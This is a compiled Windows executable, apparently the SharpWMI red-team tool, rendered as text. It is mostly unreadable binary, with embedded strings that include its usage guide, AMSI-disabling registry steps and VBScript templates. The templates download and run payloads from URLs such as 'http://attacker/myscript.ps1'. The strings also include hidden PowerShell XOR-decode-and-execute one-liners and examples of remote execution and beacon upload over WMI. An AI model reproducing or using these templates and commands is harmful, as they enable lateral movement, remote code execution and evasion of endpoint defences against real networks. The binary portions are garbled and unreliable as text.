MZ�ÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL�.•ià" 0ÌVê @ @`…êO¤   H.text\Ê Ì `.rsrc¤Î@@.reloc Ô@B8êH�Vt“.rp( *Zþs"%} %} *0Y ( , s +s o ( o 8ôo t%o! o" 8³o# r~/p o$ (% ( -vo& Z1kP(o +?o -r†/p o' (( ( +r /prº/p(( ( o -¸Þ',o Ür†/p o' o$ (( ( o) :BÿÿÿÞu,o Ü( o* :ÿÿÿÞ ,o ÜÞ r¼/p o+ (% ( Þ*AdŒLØ GÅ ,2 <>0Rrº/p(, ,rà/ps- s. %o/ %o0 %o1 rö/p(2 r 0p(3 ( -o4 o5 rB0p(( s6 o7 s8  s9 o o +{o t%o! s: o" +2o# o' o$ Ð3(; (< t3o= o) -ÅÞu,o Üo> o* :yÿÿÿÞ ,o ÜÞ rV0p o+ (( (  Þ* *(·?ö–‹! v¹/0:r�0p( ,o? - rÒ0p(3 *s@ oA 8å(B r:1poC rP1poD @ rZ1poD @±rf1prx1p oD .w "o& XoE oD  .X .S o& X o& XYoF   o& X o&  o& XYYoF rŠ1p((  oG -rš1p (2  oH &(I :ÿÿÿÞþo Ü*3ø+0lr´1p s. rö/p(2 ( -rÚ1p(3 o4 o5 ( rB0p(( s6 sJ o7 r 2ps8 s9 o o 8–o t%o! rÍ2poK o$ oL sM   rã2poK o$ oL oN & rû2poK o$ oL oN & r 3poK o$ oL oN &  oO o* :^ÿÿÿÞ ,o Ür3ps8 s9 o o 8Þo t%o!   rÀ3poK o$ 9µ rÍ2poK o$ oL   oP 9� rÀ3poK o$ t rÔ3p  oQ oR (3  oQ oR oL rö3p(, ,rú3p  oQ oR (3 8Š  oQ oR oL r,4p(, ,r04p  oQ oR (3 +Q  oQ oR oL rn4p(, ,rr4p  oQ oR (3 +r¤4p  oQ oR (3  oQ oR oL rÚ4p(, ,rÞ4p  oQ oR (3 +Q  oQ oR oL rö3p(, ,r5p  oQ oR (3 +rL5p  oQ oR (3 r‚5p   (S o* :þÿÿÞ ,o ÜÞr¦5po+ (% ( Þ*AL}©& RñC WúQ0ßsT rà/p(  o& 1sU z (V ,rÊ5p Œ8(% s8 +r.6p(% s8 s9 o o ++o t%r–6poW rª6p(( ( o* -ÌÞ ,o Ür(7p(% ( Þr\7poL (% sU z*o8§ 'žÅ0ãsT rà/p(  o& 1sU zrç7psX sY sZ &r8ps8 s9 o o 8Q o t%o! &s: r;8pr;8po[ %-&+oL o= rO8prO8po[ %-&+oL o= rY8prY8po[ %-&+oL o= rq8prº/po= �3%~\ ¢%~\ ¢r}8poW (] -6rq8prŠ1pš%-&+oL š%-&+oL (( o= Þ&Þr�8p�%r;8poC ¢%rO8poC ¢%rq8poC ¢%rY8poC ¢(S o* :¤þÿÿÞ , o ÜÞrÍ8poL (% sU z*ALQaZc½ '¢É00rº/p(, ,rà/ps. %o/ %o0 %o1 rö/p(2 ( -rÚ1p(3 o4 o5 ( rB0p(( s6 o7 s8 s9 o ( o +d o t%o! o" +&o# r†/po' o$ (( ( o) -ÑÞu,o Ü( o* -”Þ , o ÜÞrG9po+ (% ( Þ*(²3å™p  u 0ís- sT (  o& 1sU zs8  s9 o 9 o +{o t%o! s: o" +2o# o' o$ Ð3(; (< t3o= o) -ÅÞu  , o Üo> o* :yÿÿÿÞ ,o ÜÞ&þ*(p?¯O‹Ú *¾è0· s. %o/ %o0 %o1 ( -( -o4 o5 ( ,rà/p( -rB0p(( + ro9p(% s6 QPo7 Þ$&r9p(( Þ$ r:p o+ (% ÞP-r@:p*rº/p**o�&o‘rrÀ:prä:pr;p(% (*00 ( - ( Þ r;po+ (( Þrº/p** 0ä r¹;p(( , rá;p(^ s8 rº/p s9 o o +l o t%o! o" +3o# o' (_ -o$ oL ( -ÞVo) -ÄÞu,o Ü o* -ŒÞ , o ÜÞrñ;poL (( sU zrº/p**(V@–=xµ £Á0… ( ,rŒ<prà/p( *r=poD .Cs` &�<%,�oa  + š r=p(% rà/p( X Ži2Ú*r=p(% rà/p( *0� sT rà/p(  o& 1( *rº/p ( -rŠ1pr›=prO8p((( +r›=prÅ=p( (( Þ r×=p o+ (% ( Þ*(Ow0 s`  rÀ:psX sZ ob o +_ o t%rO8po[ t3( -6(_ -+rä:poc od rÅ=pod oe & + o* -™Þ , o Ü-5of %rO8pog %rÅ=pog %rä:poc og oe &Þ.r)>p�%¢%¢%¢%oL ¢(h sU zoL *&k‘ »Õ.0� sT rà/p(  o& 1( *rº/p ( -rŠ1pr›=prO8p((( +r›=prÅ=p( (( Þ r×=p o+ (% ( Þ*,Ht0¾s` rÀ:psX sZ ob o +`o t% rO8po[ t3( -9 rÅ=po[ t3( -(_ -(_ - oi +o* -˜Þ ,o ÜÞr§>poL (j sU zoL *$l� „œ0ùsk r?psX sZ r5?pol rE?p €Œ=og rU?prm?pog r5?pom  on o! r±?poK o$ :Ôr¿?p( r@pol rE?p €Œ=og rU?pr@pog r@pom &rq@p( r¯@pol rE?p €Œ=og rU?pr@pog rË@prá@pog r÷@prApog r¯@pom r Ap( on 8’rUApol rE?p €Œ=og rU?pr@pog rË@prá@pog rUApom on o! r÷@poK o$ 9«o! r÷@poK o$ oL  rqAp (3  rAp(o 9àr¯@pol   rE?p €Œ=og  rU?pr@pog  rË@prá@pog  r÷@prApog r¯@p om &r¹Ap( +or¯@pol   rE?p €Œ=og  rU?pr@pog  rË@prá@pog  r÷@prApog r¯@p om &ríAp(  Þ r9Bp (3  Þ *AÝã0~r?psX sZ op o! r±?poK o$ 97op o! r÷@poK o$ 9¹op o! r÷@poK o$ oL rAp(o ,kr¯@pol rE?p €Œ=og rU?pr@pog rË@prá@pog r÷@pog r¯@pom &rgBp(3 8vrAp(, 9fr©Bp(3 8VrÿBpol rE?p €Œ=og rU?pr@pog rË@prá@pog rÿBp om &rCp( 8ørÿBpol rE?p €Œ=og rU?pr@pog rË@prá@pog rÿBpom &rQCp( r‹Cpol rE?p €Œ=og rU?pr@pog r‹Cpom &rŸCp( r‹Cpol rE?p €Œ=og rU?prm?pog r‹Cpom &rÑCp( ÞrG9po+ (% ( Þ*Acc0Isq  +%or aÒ rDpŒ?(% os X o& 2Òr=pot (u *0XsT rà/p(  o& 1( * sv rº/psk ~rDp  @Bow (x oy r3Dp  @Bow Œ8(% ,(( - rŠ1pr›=prO8p((( +r›=prÅ=p(rç7psX sY sZ   r?Dpol   ÿow   ÿow  rMDp ( Œ8((  r«Dp�% ¢% Œ8¢%¢%¢(h   oz   oz   oz ršFpr Fpoy (&Þr~/po+ (3 ݵ rY8pr¤Fp(% og   r?Dp om rþFp(3 rPGpr¢Gpo{ (3 rºGpr Hpo{ (3 rº/p( ( ,/}X ¸ (| +Ô�<%,�oa rº/p(&Þ&Þ+.š(}  a(~ ( (€ XŽi2Ê,r Hp( ( +rLHp( rIp( ÞrÊIpoL (% ( Þ,$(ÞrSJpoL (% ( Þ( -$(&Þr¿Jpo+ (2 Þ,( ( *A|{ŠUgWÖô þ! .0Srà/p s. %o/ %o0 %o1 ,(*- rBKp(3 - r˜Kp(3 ( -- rêKp(3 o4 o5 rB0p(( s6 o7 sk ,( rç7psX sY sZ %r?Dpol o! &sv  ÿow &rY8pog r?Dpom -rPGpr¢Gpo{ (3 -rºGpr Hpo{ (3 , (ÞrG9po+ (% ( Þ*‰¯80Jrà/p s. %o/ %o0 %o1 - rBKp(3 - rL”1™à ÖLOcTt ™¢ yT”1T1 ~™…„Qt Q ÀÁZœ™ÝÆ™ÝÌIO(^Ò¹5×¹xÜáZœ™ á‘^2Yt mœ7œ)ŒÐÉžœùZœ9³b¹”iÉ·r™½œ!Äw)3 |¹I|1†‡1c�$f §\~ »d9 *$W ‘d­Ï) d) w™O Ô9Ž Ò\ ™÷™}üÁÉ×�t 9GAt It Q' Q|Yt ½/94U4q4. . .*.#3.+@.3@.;@.C3.KF.S@.[@.c^.kˆ.s•@{ácƒ@Ã`àÃÀÃàÃà ÃM§7—â5Jnw} ®¸ãýKi‹çÿ:‚“Ù¸ úö þ%'F#H%J'L)N+P-R/$3Ü\m¿Ó/s³Ç€®ë&š ŸIEnumerable`1IEnumerator`1HashSet`1List`1UInt32ToInt325__2KeyValuePair`2Dictionary`25__3d__7get_ASCIIUploadFileViaWMIConnectToWMISharpWMISystem.IORemoteWMIExecuteVBSfileDataPropertyDatamscorlibTemplateVBSDownloadPSAndExecTemplateVBSDownloadAndExecSystem.Collections.Genericget_CurrentManagedThreadId<>l__initialThreadIdThreadGetVBSPayloadpayloadAddTemplateVBSCommandcommandAppendInvokeMethodset_PasswordpasswordReplacewmiNameSpacewmiNamespaceCreateInstanceBase64DecodeXorEncodeUsageget_Messageget_QueryLanguageIEnumerableIDisposableRuntimeTypeHandleGetTypeFromHandleFileConsoleget_NameExecutionResultVariableNamevariableNameGetFileNamevarNameuserNamecomputerNameFileUploadTempWMIClassNameclassNameeventNameFileUploadTempWMIPropertyNamepropertyNameset_UsernameusernameWriteLineManagementScopescopeChangeTypeCimTypeComparewhereSystem.CoreSystem.IDisposable.DisposeTryParse<>1__stateDeleteCompilerGeneratedAttributeGuidAttributeDebuggableAttributeComVisibleAttributeAssemblyTitleAttributeIteratorStateMachineAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeDebuggerHiddenAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeRemoteWMIExecuteByteget_Valueset_ValueSetEnvVarValueGetPropertyValueSetPropertyValuevalueSharpWMI.exeIndexOfSystem.ThreadingEncodingCeilingSystem.Runtime.VersioningFromBase64StringToStringGetStringget_QueryStringSubstringMathget_PathfilePathget_RelativePathManagementPathdestPathpathget_Length<>3__partLengthevadeAmsidisableAmsiAuthenticationLevelImpersonationLevelRemoteWMIInstallRemoteWMIFirewallProgramget_Itemset_ItemSystemTrimRandomBooleanMinMainJoinset_Authenticationset_ImpersonationSystem.ReflectionPropertyDataCollectionManagementObjectCollectionNotSupportedExceptionArgumentNullExceptionUnauthorizedAccessExceptionArgumentExceptionStringComparisonSleepDelEnvVarGetEnvVarToCharStringBuilderManagementObjectSearcherusertriggerTimerAfterToLowerIEnumeratorPropertyDataEnumeratorManagementObjectEnumeratorSystem.Collections.Generic.IEnumerable.GetEnumeratorSystem.Collections.IEnumerable.GetEnumerator.ctor.cctorSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesGetInstancesDebuggingModesset_EnablePrivilegesget_PropertiesTerminateProcessesGetProcessesReadAllBytesargsoutParamsContainsSystem.CollectionsInvokeMethodOptionsConnectionOptionsObjectGetOptionsget_CharsGetLoggedOnUsersGetMethodParametersManagementClassprocessGetWMIQueryResultsargumentsGetFileContentsExistsConcatFormatManagementBaseObjectManagementObjectConnectGetquietSystem.Collections.IEnumerator.ResetSplitExitresultSystem.ManagementEnvironmentSystem.Collections.Generic.IEnumerator.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator.get_CurrentSystem.Collections.IEnumerator.get_Current<>2__currentget_CountConvertGetWMIQueryResultsListArrayListhostPutscriptKillTimeoutinputRemoteWMIExecuteWithOutputMoveNextSystem.TextReadAllText<>3__textToArrayget_KeySetRegKeyUnsetRegKeyContainsKeykeyRemoteWMIQueryLocalWMIQuerywmiQueryObjectQueryManagementQueryWqlEventQueryop_Equalityop_InequalityIsNullOrEmptyGetWmiPropertyGetWMIResultPropertyResetWMIResultProperty¯{ :: GhostPack/SharpWMI - a C# implementation of various WMI functionality. This implementation is a refurbished and enhanced version of original SharpWMI by @harmj0y that adds some more flexibility for working with malicious VBS scripts, AMSI evasion, file upload purely via WMI and makes it possible to return output from WMI remotely executed commands. AUTHORS: Original SharpWMI written: Will Schroeder @harmj0y (https://github.com/GhostPack/SharpWMI) Enhancements, VBS flexibility, more actions: Mariusz B. / mgeeky @mariuszbit WMI code-exec output idea: Evi1cg @Ridter AMSI evasion code taken from SharpMove: Steven Flores 0xthirteen Install MSI files: Justin Bui @slyd0g USAGE: Local system enumeration: SharpWMI.exe action=query query="select * from win32_service" [namespace=BLAH] Remote system enumeration: SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query="select * from win32_service" [namespace=BLAH] Remote system Logged On users enumeration: SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]] Remote process creation: SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command="C:\\temp\\process.exe [args]" [amsi=disable] [result=true] Remote VBS execution: SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs] File upload via WMI: SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source="C:\\source\\file.exe" dest="C:\\temp\\dest-file.exe" [amsi=disable] Remote firewall enumeration : SharpWMI.exe action=firewall computername=HOST1[,HOST2,...] List processes: SharpWMI.exe action=ps [computername=HOST[,HOST2,...]] Terminate process (first found): SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]] Get environment variables (all if name not given): SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]] Set environment variable: SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]] Delete an environment variable: SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]] Install MSI file: SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path="C:\\temp\\installer.msi" [amsi=disable] NOTE: - Any remote function also takes an optional "username=DOMAIN\\user" "password=Password123!". - If computername is not specified, will target localhost. VBS Script execution: The 'executevbs' action was reworked as compared to the original version of SharpWMI. Script specification defined in [script-specification] offers following methods to point this tool at target VBS code: A) Executes OS command via preset VBS code: SharpWMI.exe action=executevbs [...] command="notepad.exe" B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn: SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1" C) Download a binary file from given URL, store it in specified path and then execute it: url="SOURCE_URL,TARGET_PATH" SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" D) Download a binary file from given URL, store it in specified path and then execute arbitrary command: url="SOURCE_URL,TARGET_PATH" SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters" E) Read VBS script from file and execute it: SharpWMI.exe action=executevbs [...] script="myscript.vbs" F) Execute given VBS script given literally: SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")" G) Base64 decode input string being encoded VBS script and execute it on remote machine: SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]" H) Read contents of given file, base64 decode them and then execute on target machine: SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64" Finally, 'executevbs' action may have additional [time-specs] defined in seconds - they specify script trigger and wait timeouts: SharpWMI.exe action=executevbs [...] trigger=5 timeout=10 EXAMPLES: SharpWMI.exe action=query query="select * from win32_process" SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\\SecurityCenter2" SharpWMI.exe action=loggedon computername=primary.testlab.local SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service" SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process" SharpWMI.exe action=exec computername=primary.testlab.local command="powershell.exe -enc ZQBj..." SharpWMI.exe action=exec computername=primary.testlab.local command="whoami" result=true amsi=disable SharpWMI.exe action=executevbs computername=primary.testlab.local command="notepad.exe" eventname="MyLittleEvent" amsi=disable SharpWMI.exe action=executevbs computername=primary.testlab.local username="TESTLAB\\harmj0y" password="Password123!" SharpWMI.exe action=upload computername=primary.testlab.local source="beacon.exe" dest="C:\\Windows\\temp\\foo.exe" amsi=disable SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local SharpWMI.exe action=setenv name=FOO value="BAR" computername=primary.testlab.local SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local SharpWMI.exe action=install computername=primary.testlab.local path="C:\\temp\\installer.msi" {0}{0,30} : {1}{0,30} {1}#[X] Exception {0}root\cimv2) Scope: \\{0}\{1}! Query: "{0}" \\{0}\{1}9[X] WMI Exception ({0}): {1}ASELECT * FROM Win32_LoggedOnUserg Could not retrieve list of logged on users on {0}Antecedent DWM- UMFD-Domain="",Name="{0}\{1}{0,-15}: {1}%ROOT\StandardCIMV2/ User credentials: {0}€ÁSELECT Enabled,DisplayName,Action,Direction,InstanceID from MSFT_NetFirewallRule WHERE Enabled=1InstanceIDDisplayName ActionDirection€¡SELECT InstanceID,LocalPort from MSFT_NetProtocolPortFilter WHERE Protocol='TCP'LocalPort!Rulename : {0}21Action : {0} (Allow)3=Action : {0} (AllowBypass)41Action : {0} (Block)5Action : {0} (Unknown)15Direction : {0} (Inbound)7Direction : {0} (Outbound)5Direction : {0} (Unknown)#LocalPorts : {0} # Exception : {0}cselect * from Win32_Process where ProcessId = {0}gselect * from Win32_Process where Name like '%{0}%'Terminate}[+] Attempted to terminate remote process ({0}). Returned: {1}3[x] Process {0} not found€‰[!] Could not retrieve remote processes to terminate! Exception: {0}Win32_Process7SELECT * FROM Win32_ProcessProcessId NameCommandLine OwnerGetOwner={0,6} | {1,30} | {2, 25} | {3}y[!] Could not retrieve remote processes list! Exception: {0}'[X] Exception : {0}\\.\{0}€�Username: {0} with Password {1} threw an unauthorised exception =[!] WMI connection failed: {0}[!] Could not reach to remote RPC Server. Check your IP address#Win32_EnvironmentVariableValueName='{0}'€¡[!] Could not remove an environment variable with command results named {0}: {1}'SELECT {0} FROM {1} WHERE €™[!] Could not retrieve WMI property value using query: '{0}'! Exception: {1}sselect Name,VariableValue,UserName From Win32_Environment,€•select Name,VariableValue,UserName From Win32_Environment WHERE Name='{0}')Win32_ComputerSystemUserNameQ[!] Could not set variable over WMI: {0}}[!] Could not set variable over WMI ({0}: {1} = '{2}'): {3}w[!] Could not remove variable over WMI ({0}: {1}): {2} StdRegProvEnumKeyhDefKeysSubKeyNameCSoftware\Microsoft\Windows Script sNamesG[+] Value doesn't exist... CreatingCreateKeyUSoftware\Microsoft\Windows Script\Settings=[+] Created Windows Script keySetDWORDValuesValueNameAmsiEnable uValue0K{+] Created AmsiEnable and set to : 0GetDWORDValueG[+] Original AmsiEnable value : {0}3[+] AmsiEnable set to : 0K[+] Created AmsiEnable and set to : 0-[X] Exception : {0}A[+] AmsiEnable set back to : {0}U[+] AmsiEnable left at original value: {0}DeleteValue9[+] Removed AmsiEnable Value9[+] AmsiEnable value removedDeleteKey1[+] Settings key removed=[+] Windows Script key removed {0:00}##RANDOM## _F{0} Create]iex([char[]](@({0})|%{{$_-bxor{1}}}) -join '')�í$o=({0} |Out-String).Trim();$e=(([Int[]][Char[]]$o)|%{{$_-bxor{1}}})-Join',';Set-WmiInstance -Class Win32_Environment -PutType CreateOnly -Impersonation Impersonate -EnableAllPrivileges -Arguments @{{Name='{2}'; VariableValue=$e; UserName='{3}'}}  Ypowershell -w hidden -nop -c "iex($env:{0})"Q[*] User name : {0}Q[*] Creation of process returned : {0}returnValueQ[*] Process ID : {0}processId+[+] Command result: €Á[*] No results could be retrieved as apparently we didn't set environment variable with results.€¹ This may indicate called SharpWMI did not invoked WMI using elevated/impersonated token.€‡[!] Exception catched while running remote process with output: {0}k[!] Exception catched while restoring AMSI state: {0}€�[!] Could not remove interim environment variable named {0}: {1}U [*] Host : {0}Q[*] Command : {0}Q[*] User credentials : {0}Q[*] Path : {0}Win32_ProductInstallAllUsersOptionsPackageLocationQ[*] Product install returned : {0}3[*] User credentials: {0}!\\{0}\root\cimv25__IntervalTimerInstruction+IntervalBetweenEventsSkipIfPassedTimerId Timer€¥[*] Creating Event Subscription {0} : {1} - with interval between events: {2} secsW[X] Exception in creating timer object: {0}/\\{0}\root\subscription__EventFiltereSELECT * FROM __TimerEvent WHERE TimerID = 'Timer' QueryQueryLanguageEventNameSpace\root\cimv2K[*] Setting '{0}' event filter on {1}U[X] Exception in setting event filter: {0}3ActiveScriptEventConsumerScriptingEngineVBScriptScriptTextKillTimeout€‹[*] Setting '{0}' event consumer on {1} to kill script after {2} secsY[X] Exception in setting event consumer: {0}3__FilterToConsumerBinding FilterConsumere[*] Binding '{0}' event filter and consumer on {1}k[X] Exception in setting FilterToConsumerBinding: {0}w [*] Waiting {0} seconds for event to trigger on {1} ... Y[*] Removing 'Timer' internal timer from {0}k[X] Exception in removing 'Timer' interval timer: {0}[[*] Removing FilterToConsumerBinding from {0}m[X] Exception in removing FilterToConsumerBinding: {0}Q[*] Removing '{0}' event filter from {1}W[X] Exception in removing event filter: {0}Y[*] Removing '{0}' event consumer from {1} [[X] Exception in removing event consumer: {0}__CLASS[*] Uploading file via evil WMI static class' property: {0} ...€…[X] Exception during setting evil property with file contents: {0}�powershell -w hidden -nop -c "$e=([WmiClass]'{0}:{1}').Properties['{2}'].Value;[IO.File]::WriteAllBytes('{3}',[Byte[]][Int[]]($e-split','))"€�[*] Pulling contents from WMI repository to disk on a remote machine...[SELECT * FROM CIM_DataFile WHERE Name = "{0}"\\\W[*] Confirming whether file was uploaded... name?[*] Removing evil WMI class {0}[[X] Exception in removing evil WMI class: {0}C [+] SUCCESS: File uploaded: {0} [-] FAILURE: Could not confirm whether file was uploaded: {0}commandurlc[*] Used template VBScript for command execution.COMMANDscriptb64€�[*] Read {0} bytes from {1} file with base64 encoded VBScript payload.€�[*] Using direct script's parameter as base64 encoded VBScript payload. scripto[*] Read {0} bytes from {1} file with VBScript payload.q[*] Using direct script's parameter as VBScript payload.e[!] Error: URL must be in form: url=URL,TargetFile€¡[*] Using VBScript that downloads a binary file from URL to DST and executes it.DOWNLOAD_URLTARGET_FILE7[*] Will download from : 7[*] And store the file at: €­[*] Using VBScript that downloads a script and executes it using Powershell via StdIn.7[*] Will issue command : usernamepassword result true amsidisable actioncomputernamelocalhost querynamespace createexecute execinstall path upload source destloggedonps getenv setenv value delenvterminateprocessfirewallexecutevbstriggertimeout€ƒ[*] Script will trigger after {0} and we'll wait for {1} seconds. Debugeventname‚Õ command = "COMMAND" computer = "." Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _ & computer & "\root\cimv2") Set startup = wmi.Get("Win32_ProcessStartup") Set conf = startup.SpawnInstance_ conf.ShowWindow = 12 Set proc = GetObject("winmgmts:root\cimv2:Win32_Process") proc.Create command, Null, conf, intProcessID „§ downloadURL = "DOWNLOAD_URL" saveAs = "TARGET_FILE" cmd = "COMMAND" Dim sh: Set sh = CreateObject("WScript.Shell") out = sh.ExpandEnvironmentStrings(saveAs) Dim xhr: Set xhr = CreateObject("Msxml2.ServerXMLHTTP") xhr.Open "GET", downloadURL, False xhr.Send If xhr.Status = 200 Then With CreateObject("Adodb.Stream") .Open .Type = 1 .write xhr.responseBody .savetofile out, 2 End With If IsNull(cmd) Or Len(cmd) = 0 Then cmd = out End If sh.Run cmd, 0, False End If Set sh = Nothing Set xhr = Nothing „½ scriptURL = "DOWNLOAD_URL" launcher = "powershell -nop -w hid -Command -" Dim xhr: Set xhr = CreateObject("MSXML2.XMLHTTP") xhr.Open "GET", scriptURL, False xhr.Send Function bin2a(Binary) Dim I, S For I = 1 to LenB(Binary) S = S & Chr(AscB(MidB(Binary, I, 1))) Next bin2a = S End Function If xhr.Status = 200 Then With CreateObject("WScript.Shell") With.Exec(launcher) .StdIn.WriteLine bin2a(xhr.responseBody) .StdIn.WriteBlankLines 1 .Terminate End With End With End If Set xhr = Nothing %_Context##RANDOM##CWin32_OSRecoveryConfigurationDataDebugOptions!singleLineStringC'columns' must be greater than 0.—<:¿ qF²/¹àÍ(á      E i  M i €½ QYaeimq  U Y €¥ ] a e  . uy}€�€…Yyaemquy uy €Ñ €Õ } €�€…yE€ÙE  $ uy€‰€�y€‰ €� €�y     '}€�y€‘€…€…Y]€‘]qy€‘ e  €�€…Yq  €�€…Y€•yq €�€å€é }€�€…Yaemq# uy€�€…UYyaem}qq €…Yaemq€í  €�q€�€¡Y€•q  €å €•€�€¡Y€•q1u€¥€¡€¥€¥€¥€¥€¥€¥€¥€¥€¥u€¥qu€¥ €¥ €¥€¥€ù€¡€¥€¥€¥€¥€¥q  uu  4€�€©u€¥€¡€¥€¥qqqq   }€�u€¥€¥€¥q2}€�€•€�u€¥€­€•€•€•qqqqqqqqq'}€�€�€•€…QqYaemqq €� �  � €±€µ €±€± €µ€µ  y    ·z\V4à‰°?_Õ : Muy €�€� €� u€¥€� €�u€¥     y i((TWrapNonExceptionThrows ProgramCopyright © 2018)$6dd22880-dac5-4b4d-9c91-8c35cc7b8180 1.0.0.0K.NETFramework,Version=v4.5TFrameworkDisplayName.NET Framework 4.5.2!SharpWMI.Program+d__7,êFê 8ê_CorExeMainmscoree.dllÿ% @ €P€8€€h€¤�4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°tStringFileInfoP000004b0Comments"CompanyName8FileDescriptionProgram0FileVersion1.0.0.0: InternalNameSharpWMI.exeHLegalCopyrightCopyright © 2018*LegalTrademarksB OriginalFilenameSharpWMI.exe0ProductNameProgram4ProductVersion1.0.0.08Assembly Version1.0.0.0´ê à X: